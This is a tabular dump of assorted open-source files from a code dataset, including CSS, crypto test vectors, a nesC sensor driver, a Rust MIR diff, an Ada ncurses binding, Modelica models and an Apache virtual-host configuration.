content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
.wizard-endpoints {
display: block;
width: 200px;
height: 300px;
border: 1px solid rgb(163, 163, 163);
border-radius: 5px;
float: left;
margin-right: 15px;
padding: 25px 20px;
cursor: pointer;
box-shadow: 0 3px 10px -2px rgb(161 170 166 / 60%);
}
.wizard-endpoints:hover {
box-shadow: 0 3px 10px -2px rgb(161 170 166 / 80%);
border: 1px solid #3ca4ff;
color: #337ab7;
}
.wizard-active:hover {
color: #fff;
}
.wizard-active {
background: #337ab7;
color: #fff;
border: 1px solid #3ca4ff;
box-shadow: 0 3px 10px -2px rgb(161 170 166 / 80%);
}
.wizard-form-required {
color: rgb(255, 24, 24);
padding: 0px 5px;
}
.wizard-form {
margin-top: 40px;
}
.wizard-code {
margin-right: 15px;
}
.wizard-action {
margin-top: 20px;
}
.wizard-connect-button {
margin-left: 0px !important;
margin-top: 40px;
}
.wizard-copy-button {
color: #444;
cursor: pointer;
}
.wizard-step-action {
padding-top: 40px;
padding-bottom: 40px;
text-align: right;
border-top: 1px solid #777;
}
.next-btn {
float: right;
}
.previous-btn {
float: left;
margin-left: 0px !important;
}
.wizard-wrapper {
display: grid;
grid-template-columns: 1fr 400px;
grid-template-areas:
'main sidebar'
'footer sidebar';
}
.wizard-main {
grid-column: main;
}
.wizard-aside {
grid-column: sidebar;
margin-right: 15px;
}
.wizard-footer {
grid-column: footer;
}
.wizard-endpoint-section {
padding-right: 10px;
}
.wizard-main-title {
margin-bottom: 10px;
}
.wizard-env-section {
display: block;
padding: 10px;
border: 1px solid red;
width: 80%;
margin-left: auto;
margin-right: auto;
height: 600px;
text-align: center;
}
.wizard-env-icon {
margin-left: auto;
margin-right: auto;
}
.wizard-content-wrapper {
position: relative;
left: 50%;
}
.wizard-content {
float: left;
position: relative;
left: -50%;
}
.wizard-section {
display: grid;
justify-content: left;
align-content: left;
gap: 10px;
grid-auto-flow: column;
margin-bottom: 20px;
}
.wizard-section-title {
font-size: 32px;
margin-top: 30px;
margin-bottom: 15px;
}
.wizard-setion-subtitle {
font-size: 18px;
}
.wizard-section-action {
margin-top: 50px;
margin-bottom: 20px;
}
.no-margin {
margin-left: 0px;
}
| CSS | 3 | GizMan/portainer | app/portainer/views/wizard/wizard-endpoints/wizard-endpoints.css | [
"Zlib"
] |
(assert (=
(sha224 (bytes "abc"))
[23097d22 3405d822 8642a477 bda255b3 2aadbce4 bda0b3f7 e36c9da7])
)
(assert (=
(sha224 [])
[d14a028c 2a3a2bc9 476102bb 288234c4 15a2b01f 828ea62a c5b3e42f])
)
(assert (=
(hmac-sha224 (* [0b] 20) (bytes "Hi There"))
[896fb1128abbdf196832107cd49df33f47b4b1169912ba4f53684b22])
)
(assert (=
(hmac-sha224 (bytes "Jefe") (bytes "what do ya want for nothing?"))
[a30e01098bc6dbbf45690f3a7e9e6d0f8bbea2a39e6148008fd05e44])
)
(assert (=
(hmac-sha224 (* [aa] 20) (* [dd] 50))
[7fb3cb3588c6c1f6ffa9694d7d6ad2649365b0c1f65d69d1ec8333ea])
)
(assert (=
(hmac-sha224 [0102030405060708090a0b0c0d0e0f10111213141516171819] (* [cd] 50))
[6c11506874013cac6a2abc1bb382627cec6a90d86efc012de7afec5a])
)
(assert (=
(hmac-sha224 (* [aa] 131) (bytes "Test Using Larger Than Block-Size Key - Hash Key First"))
[95e9a0db962095adaebe9b2d6f0dbce2d499f112f2d2b7273fa6870e])
)
(assert (=
(hmac-sha224 (* [aa] 131) (bytes "This is a test using a larger than block-size key and a larger than block-size data. The key needs to be hashed before being used by the HMAC algorithm."))
[3a854166ac5d9f023f54d517d0b39dbd946770db9c2b95c9f6f565d1])
)
(puts success)
| Slash | 4 | Leo-Neat/h2o | deps/picotls/deps/cifra/shitlisp/test-sha224.sl | [
"MIT"
] |
/** Copyright (c) 2009, University of Szeged
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* - Neither the name of University of Szeged nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
* Author: Zoltan Kincses
*/
module HplAccel202P {
provides interface SplitControl;
uses interface Channel as DcDcBoost33Channel;
uses interface Channel as ChannelAccelPower;
uses interface Channel as ChannelAccel_X;
uses interface Channel as ChannelAccel_Y;
uses interface Resource;
}
implementation {
enum{
IDLE=0,
START,
STOP,
};
uint8_t state=IDLE;
command error_t SplitControl.start() {
state=START;
return call Resource.request();
}
event void Resource.granted(){
error_t err;
if(state==START){
if((err=call DcDcBoost33Channel.open())==SUCCESS){
return;
}
}else{
if((err=call DcDcBoost33Channel.close())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.startDone(err);
}
event void DcDcBoost33Channel.openDone(error_t err){
if(err==SUCCESS){
if((err=call ChannelAccelPower.open())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.startDone(err);
}
event void ChannelAccelPower.openDone(error_t err){
if(err==SUCCESS){
if((err=call ChannelAccel_X.open())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.startDone(err);
}
event void ChannelAccel_X.openDone(error_t err){
if(err==SUCCESS){
if((err=call ChannelAccel_Y.open())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.startDone(err);
}
event void ChannelAccel_Y.openDone(error_t err){
state=IDLE;
call Resource.release();
signal SplitControl.startDone(err);
}
command error_t SplitControl.stop() {
state=STOP;
return call Resource.request();
}
event void DcDcBoost33Channel.closeDone(error_t err){
if(err==SUCCESS){
if((err=call ChannelAccelPower.close())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.stopDone(err);
}
event void ChannelAccelPower.closeDone(error_t err){
if(err==SUCCESS){
if((err=call ChannelAccel_X.close())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.stopDone(err);
}
event void ChannelAccel_X.closeDone(error_t err){
if(err==SUCCESS){
if((err=call ChannelAccel_Y.close())==SUCCESS){
return;
}
}
state=IDLE;
call Resource.release();
signal SplitControl.stopDone(err);
}
event void ChannelAccel_Y.closeDone(error_t err){
state=IDLE;
call Resource.release();
signal SplitControl.stopDone(err);
}
}
| nesC | 3 | mtaghiza/tinyos-main-1 | tos/sensorboards/mts400/HplAccel202P.nc | [
"BSD-3-Clause"
] |
a ← ⊃ ⍴ 1 2 3
+/ a, ⍳ 7 ⍝ --> 31 | APL | 3 | melsman/apltail | tests/cons.apl | [
"MIT"
] |
discard """
cmd: '''nim c -d:nimAllocStats --gc:arc $file'''
output: '''(allocCount: 102, deallocCount: 102)'''
"""
type
FutureBase = ref object
someData: string
const
# Just to occupy some RAM
BigData = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
iterator mainIter(): FutureBase {.closure.} =
for x in 0 .. 100:
var internalTmpFuture = FutureBase(someData: BigData)
yield internalTmpFuture
proc main() =
var nameIterVar = mainIter
var next = nameIterVar()
while not isNil(next):
next = nameIterVar()
if not isNil(next):
doAssert next.someData.len == 97
# GC_unref(next)
# If you uncomment the GC_ref above,
# the program basically uses no memory after the run.
# but crashes with refc, which might indicate
# that arc/orc simply never frees the result of "next"?
if finished(nameIterVar):
break
main()
GC_fullCollect()
echo getAllocStats()
| Nimrod | 5 | JohnAD/Nim | tests/arc/tclosureiter.nim | [
"MIT"
] |
<template>
<div class="container">
<image class="cover" :src="data.hp_img_url" mode="widthFix" />
<view class="cover-author">
<text class="gray">{{data.hp_author}}</text>
</view>
<view class="content">
<text>{{content}}</text>
</view>
<view class="content-author">
<text class="gray">{{data.text_authors}}</text>
</view>
<weather :weather="weather" v-if="weather.status === 'ok'"></weather>
</div>
</template>
<script>
import { mapState, mapActions } from 'vuex'
import weather from './weather'
export default {
mounted() {
this.initPage()
},
components: {
weather
},
computed: {
...mapState('home', ['data']),
...mapState('weather', ['weather']),
content() {
return this.data.hp_content.split('by')[0]
}
},
methods: {
...mapActions('home', ['getNewIds', 'getHomeData']),
async initPage() {
await this.getNewIds()
await this.getHomeData()
}
}
}
</script>
<style scoped>
.cover {
width: 100%;
}
.cover-author {
width: 100%;
height: 100rpx;
line-height: 100rpx;
margin-bottom: 30rpx;
}
.content {
width: 80%;
margin: 0 auto;
line-height: 58rpx;
text-align: left;
}
.content-author {
height: 100rpx;
line-height: 100rpx;
font-size: 20rpx;
}
</style>
| Vue | 4 | ye1088/uni-app | examples/uniapp-one/pages/home/main.vue | [
"Apache-2.0"
] |
//#define DEBUG
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
#else
#define LOGV(...)
#define LOGD(...)
#endif
| C | 3 | OsmanDere/metasploit-framework | external/source/exploits/CVE-2014-3153/log.h | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
/**
Copyright 2015 Acacia Team
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.acacia.tinkerpop.blueprints.impl;
import com.tinkerpop.blueprints.Graph;
import com.tinkerpop.blueprints.Vertex;
import com.tinkerpop.blueprints.Edge;
import com.tinkerpop.blueprints.Features;
import com.tinkerpop.blueprints.GraphQuery;
/**
* The AcaciaGraph is the main class of implementation of Tinkerpop Blueprints interface.
* There is no point of implementation of the rest of the tinker pop interfaces (e.g., vertex, Edge, etc.) in X10 which gives
* a problem of x10.lang.Compare interface implementation (Refer the source version on Jan 18 2014).
*/
public class AcaciaGraph implements com.tinkerpop.blueprints.Graph {
/**
* Default constructor
*/
public def this() {
}
public def getFeatures():Features{
return null;
}
public def addVertex(a1:x10.lang.Any):com.tinkerpop.blueprints.Vertex{
return null;
}
public def getVertex(a1:x10.lang.Any):com.tinkerpop.blueprints.Vertex{
return null;
}
public def removeVertex(a1:com.tinkerpop.blueprints.Vertex):void{
}
public def getVertices():java.lang.Iterable{
return null;
}
public def getVertices(a1:x10.lang.String, a2:x10.lang.Any):java.lang.Iterable{
return null;
}
public def addEdge(a1:Any, a2:com.tinkerpop.blueprints.Vertex, a3:com.tinkerpop.blueprints.Vertex, a4:String):com.tinkerpop.blueprints.Edge{
return null;
}
public def getEdge(a1:Any):com.tinkerpop.blueprints.Edge{
return null;
}
public def removeEdge(a1:com.tinkerpop.blueprints.Edge):void{
}
public def getEdges():java.lang.Iterable{
return null;
}
public def getEdges(a1:String, a2:Any):java.lang.Iterable{
return null;
}
public def query():AcaciaGraphQuery{
return null;
}
public def has(a1:x10.lang.String, a2:com.tinkerpop.blueprints.Predicate, a3:x10.lang.Any):com.tinkerpop.blueprints.GraphQuery{
return null;
}
public def shutdown():void{
}
} | X10 | 4 | mdherath/Acacia | src/org/acacia/tinkerpop/blueprints/impl/AcaciaGraph.x10 | [
"Apache-2.0"
] |
- // MIR for `do_not_miscompile` before InstCombine
+ // MIR for `do_not_miscompile` after InstCombine
fn do_not_miscompile() -> () {
let mut _0: (); // return place in scope 0 at $DIR/inst_combine_deref.rs:54:24: 54:24
let _1: i32; // in scope 0 at $DIR/inst_combine_deref.rs:55:9: 55:10
let mut _5: &i32; // in scope 0 at $DIR/inst_combine_deref.rs:59:10: 59:12
let _6: &i32; // in scope 0 at $DIR/inst_combine_deref.rs:59:10: 59:12
let _7: (); // in scope 0 at $DIR/inst_combine_deref.rs:60:5: 60:23
let mut _8: bool; // in scope 0 at $DIR/inst_combine_deref.rs:60:5: 60:23
let mut _9: bool; // in scope 0 at $DIR/inst_combine_deref.rs:60:13: 60:21
let mut _10: i32; // in scope 0 at $DIR/inst_combine_deref.rs:60:13: 60:15
let mut _11: !; // in scope 0 at $DIR/inst_combine_deref.rs:60:5: 60:23
scope 1 {
debug x => _1; // in scope 1 at $DIR/inst_combine_deref.rs:55:9: 55:10
let _2: i32; // in scope 1 at $DIR/inst_combine_deref.rs:56:9: 56:10
scope 2 {
debug a => _2; // in scope 2 at $DIR/inst_combine_deref.rs:56:9: 56:10
let mut _3: &i32; // in scope 2 at $DIR/inst_combine_deref.rs:57:9: 57:14
scope 3 {
debug y => _3; // in scope 3 at $DIR/inst_combine_deref.rs:57:9: 57:14
let _4: &mut &i32; // in scope 3 at $DIR/inst_combine_deref.rs:58:9: 58:10
scope 4 {
debug z => _4; // in scope 4 at $DIR/inst_combine_deref.rs:58:9: 58:10
}
}
}
}
bb0: {
StorageLive(_1); // scope 0 at $DIR/inst_combine_deref.rs:55:9: 55:10
_1 = const 42_i32; // scope 0 at $DIR/inst_combine_deref.rs:55:13: 55:15
StorageLive(_2); // scope 1 at $DIR/inst_combine_deref.rs:56:9: 56:10
_2 = const 99_i32; // scope 1 at $DIR/inst_combine_deref.rs:56:13: 56:15
StorageLive(_3); // scope 2 at $DIR/inst_combine_deref.rs:57:9: 57:14
_3 = &_1; // scope 2 at $DIR/inst_combine_deref.rs:57:17: 57:19
StorageLive(_4); // scope 3 at $DIR/inst_combine_deref.rs:58:9: 58:10
_4 = &mut _3; // scope 3 at $DIR/inst_combine_deref.rs:58:13: 58:19
StorageLive(_5); // scope 4 at $DIR/inst_combine_deref.rs:59:10: 59:12
StorageLive(_6); // scope 4 at $DIR/inst_combine_deref.rs:59:10: 59:12
_6 = &_2; // scope 4 at $DIR/inst_combine_deref.rs:59:10: 59:12
- _5 = &(*_6); // scope 4 at $DIR/inst_combine_deref.rs:59:10: 59:12
+ _5 = _6; // scope 4 at $DIR/inst_combine_deref.rs:59:10: 59:12
(*_4) = move _5; // scope 4 at $DIR/inst_combine_deref.rs:59:5: 59:12
StorageDead(_5); // scope 4 at $DIR/inst_combine_deref.rs:59:11: 59:12
StorageDead(_6); // scope 4 at $DIR/inst_combine_deref.rs:59:12: 59:13
StorageLive(_7); // scope 4 at $DIR/inst_combine_deref.rs:60:5: 60:23
StorageLive(_8); // scope 4 at $DIR/inst_combine_deref.rs:60:5: 60:23
StorageLive(_9); // scope 4 at $DIR/inst_combine_deref.rs:60:13: 60:21
StorageLive(_10); // scope 4 at $DIR/inst_combine_deref.rs:60:13: 60:15
_10 = (*_3); // scope 4 at $DIR/inst_combine_deref.rs:60:13: 60:15
_9 = Eq(move _10, const 99_i32); // scope 4 at $DIR/inst_combine_deref.rs:60:13: 60:21
StorageDead(_10); // scope 4 at $DIR/inst_combine_deref.rs:60:20: 60:21
_8 = Not(move _9); // scope 4 at $DIR/inst_combine_deref.rs:60:5: 60:23
StorageDead(_9); // scope 4 at $DIR/inst_combine_deref.rs:60:22: 60:23
switchInt(move _8) -> [false: bb2, otherwise: bb1]; // scope 4 at $DIR/inst_combine_deref.rs:60:5: 60:23
}
bb1: {
StorageLive(_11); // scope 4 at $DIR/inst_combine_deref.rs:60:5: 60:23
core::panicking::panic(const "assertion failed: *y == 99"); // scope 4 at $DIR/inst_combine_deref.rs:60:5: 60:23
// mir::Constant
// + span: $DIR/inst_combine_deref.rs:60:5: 60:23
// + literal: Const { ty: fn(&'static str) -> ! {core::panicking::panic}, val: Value(Scalar(<ZST>)) }
// ty::Const
// + ty: &str
// + val: Value(Slice { data: Allocation { bytes: [97, 115, 115, 101, 114, 116, 105, 111, 110, 32, 102, 97, 105, 108, 101, 100, 58, 32, 42, 121, 32, 61, 61, 32, 57, 57], relocations: Relocations(SortedMap { data: [] }), init_mask: InitMask { blocks: [67108863], len: Size { raw: 26 } }, size: Size { raw: 26 }, align: Align { pow2: 0 }, mutability: Not, extra: () }, start: 0, end: 26 })
// mir::Constant
// + span: $DIR/inst_combine_deref.rs:1:1: 1:1
// + literal: Const { ty: &str, val: Value(Slice { data: Allocation { bytes: [97, 115, 115, 101, 114, 116, 105, 111, 110, 32, 102, 97, 105, 108, 101, 100, 58, 32, 42, 121, 32, 61, 61, 32, 57, 57], relocations: Relocations(SortedMap { data: [] }), init_mask: InitMask { blocks: [67108863], len: Size { raw: 26 } }, size: Size { raw: 26 }, align: Align { pow2: 0 }, mutability: Not, extra: () }, start: 0, end: 26 }) }
}
bb2: {
_7 = const (); // scope 4 at $DIR/inst_combine_deref.rs:60:23: 60:23
StorageDead(_8); // scope 4 at $DIR/inst_combine_deref.rs:60:22: 60:23
StorageDead(_7); // scope 4 at $DIR/inst_combine_deref.rs:60:22: 60:23
_0 = const (); // scope 0 at $DIR/inst_combine_deref.rs:54:24: 61:2
StorageDead(_4); // scope 3 at $DIR/inst_combine_deref.rs:61:1: 61:2
StorageDead(_3); // scope 2 at $DIR/inst_combine_deref.rs:61:1: 61:2
StorageDead(_2); // scope 1 at $DIR/inst_combine_deref.rs:61:1: 61:2
StorageDead(_1); // scope 0 at $DIR/inst_combine_deref.rs:61:1: 61:2
return; // scope 0 at $DIR/inst_combine_deref.rs:61:2: 61:2
}
}
| Diff | 3 | mbc-git/rust | src/test/mir-opt/inst_combine_deref.do_not_miscompile.InstCombine.diff | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding --
-- --
-- Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada --
-- --
-- B O D Y --
-- --
------------------------------------------------------------------------------
-- Copyright (c) 1998-2004,2011 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: Juergen Pfeifer, 1996
-- Version Control:
-- $Revision: 1.11 $
-- $Date: 2011/03/22 23:36:20 $
-- Binding Version 01.00
------------------------------------------------------------------------------
with Ada.Characters.Handling; use Ada.Characters.Handling;
package body Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada is
function Create (Set : Type_Set := Mixed_Case;
Case_Sensitive : Boolean := False;
Must_Be_Unique : Boolean := False)
return Enumeration_Field
is
I : Enumeration_Info (T'Pos (T'Last) - T'Pos (T'First) + 1);
J : Positive := 1;
begin
I.Case_Sensitive := Case_Sensitive;
I.Match_Must_Be_Unique := Must_Be_Unique;
for E in T'Range loop
I.Names (J) := new String'(T'Image (E));
-- The Image attribute defaults to upper case, so we have to handle
-- only the other ones...
if Set /= Upper_Case then
I.Names (J).all := To_Lower (I.Names (J).all);
if Set = Mixed_Case then
I.Names (J).all (I.Names (J).all'First) :=
To_Upper (I.Names (J).all (I.Names (J).all'First));
end if;
end if;
J := J + 1;
end loop;
return Create (I, True);
end Create;
function Value (Fld : Field;
Buf : Buffer_Number := Buffer_Number'First) return T
is
begin
return T'Value (Get_Buffer (Fld, Buf));
end Value;
end Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada;
| Ada | 5 | CandyROM/external_libncurses | Ada95/src/terminal_interface-curses-forms-field_types-enumeration-ada.adb | [
"X11"
] |
domain: "[m, n] -> { S_14[j] : 0 <= j < m; S_19[i, j] : 0 <= i < n and 0 <= j < m; S_27[i, j, k] : i >= 0 and i < j < m and 0 <= k < n; S_29[i, j] : i >= 0 and i < j < m }"
child:
context: "[m, n] -> { [] : 0 < m <= 2147483647 and -2147483648 <= n <= 2147483647 }"
child:
schedule: "[m, n] -> [{ S_19[i, j] -> [(0)]; S_29[i, j] -> [(32*floor((j)/32))]; S_27[i, j, k] -> [(32*floor((i)/32))]; S_14[j] -> [(0)] }, { S_19[i, j] -> [(32*floor((i)/32))]; S_29[i, j] -> [(32*floor((n)/32))]; S_27[i, j, k] -> [(32*floor((k)/32))]; S_14[j] -> [(0)] }, { S_19[i, j] -> [(32*floor((j)/32))]; S_29[i, j] -> [(32*floor((i + j)/32))]; S_27[i, j, k] -> [(32*floor((j)/32))]; S_14[j] -> [(32*floor((j)/32))] }]"
permutable: 1
coincident: [ 1, 1, 1 ]
options: "{ atomic[i0] : 0 <= i0 <= 2 }"
child:
schedule: "[m, n] -> [{ S_19[i, j] -> [(0)]; S_29[i, j] -> [(j - 32*floor((j)/32))]; S_27[i, j, k] -> [(i - 32*floor((i)/32))]; S_14[j] -> [(0)] }, { S_19[i, j] -> [(i - 32*floor((i)/32))]; S_29[i, j] -> [(n - 32*floor((n)/32))]; S_27[i, j, k] -> [(k - 32*floor((k)/32))]; S_14[j] -> [(0)] }, { S_19[i, j] -> [(j - 32*floor((j)/32))]; S_29[i, j] -> [(i + j - 32*floor((i + j)/32))]; S_27[i, j, k] -> [(j - 32*floor((j)/32))]; S_14[j] -> [(j - 32*floor((j)/32))] }]"
permutable: 1
coincident: [ 1, 1, 1 ]
child:
sequence:
- filter: "[m, n] -> { S_29[i, j] }"
- filter: "[m, n] -> { S_14[j] }"
- filter: "[m, n] -> { S_19[i, j] }"
- filter: "[m, n] -> { S_27[i, j, k] }"
| Smalltalk | 1 | chelini/isl-haystack | test_inputs/codegen/correlation.st | [
"MIT"
] |
= todo
Generate this with
todo rdoc
After you have described your command line interface | RDoc | 1 | vStone/gli | test/apps/todo_legacy/todo.rdoc | [
"Apache-2.0"
] |
within ModelicaByExample.Subsystems.Pendula;
model System "A system of pendula"
import Modelica.Constants.g_n;
import Modelica.Constants.pi;
parameter Integer n=15 "Number of pendula";
parameter Modelica.SIunits.Position x[n] = linspace(0,(n-1)*0.05,n);
parameter Modelica.SIunits.Time T = 54;
parameter Modelica.SIunits.Time X = 30;
parameter Modelica.SIunits.Length lengths[n] = { g_n*(T/(2*pi*(X+(n-i))))^2 for i in 1:n};
parameter Modelica.SIunits.Angle phi0 = 0.5;
Pendulum pendulum[n](x=x, each m=1, each phi=phi0, L=lengths)
annotation (Placement(transformation(extent={{-10,-10},{10,10}})));
inner Modelica.Mechanics.MultiBody.World world
annotation (Placement(transformation(extent={{-80,-60},{-60,-40}})));
annotation (experiment(StopTime=54,
Interval=9e-3, Tolerance=1e-008));
end System;
| Modelica | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Modelica/System.mo | [
"MIT"
] |
<VirtualHost *:80>
ServerName my-site.local
DocumentRoot /path/to/silex/web
# ENVIROMENT ##############################################################
SetEnv APP_ENV dev # CHANGE IT
# MIXED ###################################################################
HostnameLookups Off
TimeOut 300
TraceEnable off
# LOG #####################################################################
LogLevel warn
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "\"%r\" %D" measure-time
CustomLog %{DOCUMENT_ROOT}/../tmp/logs/access-%{APP_ENV}.log common
CustomLog %{DOCUMENT_ROOT}/../tmp/logs/slow_pages-%{APP_ENV}.log measure-time
ErrorLog %{DOCUMENT_ROOT}/../tmp/logs/error-%{APP_ENV}.log
# DIRECTORIES #############################################################
<Directory %{DOCUMENT_ROOT}>
Order Allow,Deny
Allow from all
AllowOverride All
Options All -Indexes
<IfModule mod_actions.c>
# LIMIT THE HTTP METHODS ONLY TO REAL USED
<LimitExcept GET POST>
Order Deny,Allow
Deny from all
</LimitExcept>
# THE HEAD METHOD IS INCLUDED INTO GET
Script GET index.php
Script POST index.php
Script PUT index.php
Script DELETE index.php
Script CONNECT index.php
Script OPTIONS index.php
Script PATCH index.php
Script PROPFIND index.php
Script PROPPATCH index.php
Script MKCOL index.php
Script COPY index.php
Script MOVE index.php
Script LOCK index.php
Script UNLOCK index.php
</IfModule>
</Directory>
<Directory />
AllowOverride All
Options All -Indexes -ExecCGI
</Directory>
SetEnvIf Referer "^http:\/\/my-site.local\/" local_referal
<Directory ~ /web/(css|js|media)>
Order Deny,Allow
Deny from all
Allow from env=local_referal
</Directory>
# ALIAS ###################################################################
#Alias /XHProf %{DOCUMENT_ROOT}/../lib/XHProf/xhprof_html # DISABLE IN PROD
# CACHE ###################################################################
<IfModule mod_cache.c>
CacheDefaultExpire 3600
CacheMaxExpire 86400
# CacheDirLevels * CacheDirLength < 20
<IfModule mod_disk_cache.c>
CacheRoot %{DOCUMENT_ROOT}/../tmp/cache/apache
CacheEnable disk /
CacheSize 524288000 # 500MB
CacheDirLevels 5
CacheDirLength 3
CacheMinFileSize 1
CacheIgnoreHeaders Set-Cookie
</IfModule>
# MCacheMaxObjectCount * MCacheMaxObjectSize = MAX MEMORY ALLOCATED
<IfModule mod_mem_cache.c>
CacheEnable mem /
MCacheSize 102400 # 100MB
MCacheMaxObjectCount 512
MCacheMinObjectSize 1
MCacheMaxObjectSize 2048
</IfModule>
</IfModule>
# EXPIRES #################################################################
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/x-icon "access plus 1 month"
ExpiresByType image/vnd.microsoft.icon "access plus 1 month"
ExpiresByType image/gif "access plus 1 month"
ExpiresByType image/jpeg "access plus 1 month"
ExpiresByType image/png "access plus 1 month"
ExpiresByType text/javascript "access plus 2 week"
ExpiresByType application/javascript "access plus 2 week"
ExpiresByType application/x-javascript "access plus 2 week"
ExpiresByType text/css "access plus 2 week"
</IfModule>
# DEFLATE #################################################################
<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE text/javascript
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
</IfModule>
# PHP #####################################################################
<IfModule mod_php.c>
# If there are too many errors that are blocking the application:
# - Set display_errors to Off
# - Set dispay_startup_errors to Off
# - Check manually the log file using:
# sudo tail -f /tmp/log/httpd/error_log
php_flag display_errors On
php_flag display_startup_errors On
php_flag html_errors On
php_flag log_errors On
php_flag magic_quotes_gpc Off
php_flag register_globals Off
php_flag track_errors On
php_flag xdebug.collect_vars On
php_flag xdebug.collect_vars On
php_flag xdebug.dump_globals On
php_flag xdebug.show_local_vars On
php_value error_log "%{DOCUMENT_ROOT}/../tmp/log/php-%{APP_ENV}.log"
php_value error_reporting 32767
php_value xdebug.collect_params 4
php_value xdebug.dump.COOKIE *
php_value xdebug.dump.FILES *
php_value xdebug.dump.GET *
php_value xdebug.dump.POST *
php_value xdebug.dump.SESSION *
php_value xdebug.profiler_enable_trigger 1
php_value xdebug.profiler_output_dir "%{DOCUMENT_ROOT}/../tmp/profiling/"
php_value xdebug.scream 0
</IfModule>
</VirtualHost>
| ApacheConf | 5 | fabiocicerchia/Silex-Setup | app/configs/host.vhost | [
"MIT"
] |
@import './default.less';
@line-height-base: 1.66667;
@mode: compact;
@font-size-base: 12px;
@font-size-lg: @font-size-base + 2px;
// default paddings
@default-padding-lg: 24px; // containers
@default-padding-md: 16px; // small containers and buttons
@default-padding-sm: 12px; // Form controls and items
@default-padding-xs: 8px; // small items
@default-padding-xss: 4px; // more small
// vertical paddings
@padding-lg: 16px; // containers
